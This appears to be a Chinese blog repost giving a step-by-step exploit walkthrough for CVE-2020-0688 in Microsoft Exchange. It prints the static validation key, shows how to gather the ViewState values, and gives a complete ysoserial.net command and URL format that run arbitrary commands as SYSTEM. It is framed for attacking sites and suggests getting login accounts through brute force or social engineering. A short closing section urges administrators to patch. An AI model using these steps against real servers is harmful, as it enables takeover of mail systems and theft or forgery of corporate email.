分享

CVE-2020-0688-exchange远程代码执行

 小灰灰i58u7w06 2020-03-02

工具 https://github.com/incredibleindishell/ysoserial.net-complied

漏洞利用视频:https:///7d_HoQ0LVy8

日站的时候相信大家都碰到过exchange。。。我就不介绍exchange是啥了。。

漏洞利用条件:

所有exchange的漏洞都需要⼀个普通权限的登录账号,exchange的账号获取⽅式我们⼀般采⽤爆破或者社工等方式 自行想办法!!!

Microsoft表示此错误是由于内存损坏漏洞引起的,并且可以通过发送到易受攻击的Exchange服务器的特制电子邮件加以利用。此后,他们已将其文字修改为(正确)表明该漏洞是由Exchange Server在安装时未能正确创建唯一的加密密钥导致的。

具体来说,该错误可在Exchange控制面板(ECP)组件中找到。该错误的性质非常简单。而不必在每个安装的基础上随机生成的密钥,Microsoft Exchange服务器的所有安装有相同validationKey和decryptionKey价值观web.config。这些密钥用于为ViewState提供安全性。ViewState是ASP.NET Web应用程序在客户端上以序列化格式存储的服务器端数据。客户端通过__VIEWSTATErequest参数将此数据提供回服务器。

图1:包含静态validationKey的web.config文件的摘录。

由于使用了静态密钥,经过身份验证的攻击者可以诱使服务器反序列化恶意制作的ViewState数据。借助YSoSerial.net,攻击者可以在Exchange控制面板Web应用程序(运行为)的上下文中在服务器上执行任意.NET代码SYSTEM

要利用此漏洞,我们需要从经过身份验证的会话中收集ViewStateUserKey和的__VIEWSTATEGENERATOR值。ViewStateUserKey可从ASP.NET中获得_SessionID的cookie,而ViewStateUserKey可以在一个隐藏字段中找到。使用浏览器中的标准开发人员工具可以轻松获得所有这些信息。

首先,浏览至该/ecp/default.aspx页面并登录。所使用的帐户无需具有任何特殊特权。在此示例中,我们使用名为的帐户user

要继续,我们需要收集一些信息。最有价值的部分是已知的:

validationkey= CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

validationalg=SHA1

要获取ViewStateUserKey和__VIEWSTATEGENERATOR,请打开开发工具(F12)的网络标签,然后按F5重新发送请求。/ecp/default.aspx登录时,我们需要请求的原始响应:

如您所见,该__VIEWSTATEGENERATOR值在页面源中可见。在此示例中,其值为B97B4E27。您的价值极有可能是相同的。接下来,打开Headers标签并在中找到ASP.NET_SessionIdcookie Request headers:

在此示例中,其值为05ae4b41-51e1-4c3a-9241-6b87b169d663。

现在,我们掌握了进行攻击所需的所有信息:

--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

--validationalg = SHA1

--generator = B97B4E27

--viewstateuserkey = 05ae4b41-51e1-4c3a-9241-6b87b169d663

下一步是使用ysoserial.net生成ViewState有效负载。我们将通过创建文件来生成一个有效负载来演示代码的执行C:\Vuln_Server.txt:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c 'echo OOOPS!!! > c:/Vuln_Server.txt' --validationalg='SHA1' --validationkey='CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF' --generator='B97B4E27' --viewstateuserkey='05ae4b41-51e1-4c3a-9241-6b87b169d663' --isdebug –islegacy

-c 参数就是你要执行的命令。。。。。

最后,我们需要对ViewState有效负载进行URL编码并按如下所示构造URL:

/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState>

替换生成器和上面获得的URL编码的ViewState。

然后,我们只需将结果URL粘贴到浏览器地址栏中,即可将其提交给Exchange服务器:

服务器抱怨500 Unexpected Error,但是攻击成功。检查对目标服务器的影响:

果然,文件Vuln_Server.txt现在存在。检查文件上的所有权信息,确认该文件是由具有SYSTEM令牌的进程创建的。

这表明攻击者可以以SYSTEM身份执行任意代码,并完全破坏目标Exchange服务器。

结论

Microsoft在2020年2月将此漏洞修补为CVE-2020-0688。根据他们的文章,他们通过“更正Microsoft Exchange在安装过程中创建密钥的方式”来解决此漏洞。换句话说,他们现在在安装时将加密密钥随机化。Microsoft在严重性上将其评为“重要”,这可能是因为攻击者必须首先进行身份验证。但是,应注意,在企业内部,几乎所有用户都将被允许向Exchange服务器进行身份验证。同样,任何破坏设备或企业用户凭据的外部攻击者都可以继续接管Exchange服务器。完成此操作后,攻击者将可以随意泄露或伪造公司电子邮件通信。因此,如果您是Exchange Server管理员,您应该将其视为关键级补丁,并在测试完成后立即进行部署。Microsoft列出的漏洞利用指数为1,这表示他们希望在补丁发布后30天内看到漏洞利用。如所证明的,这似乎确实有可能。

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多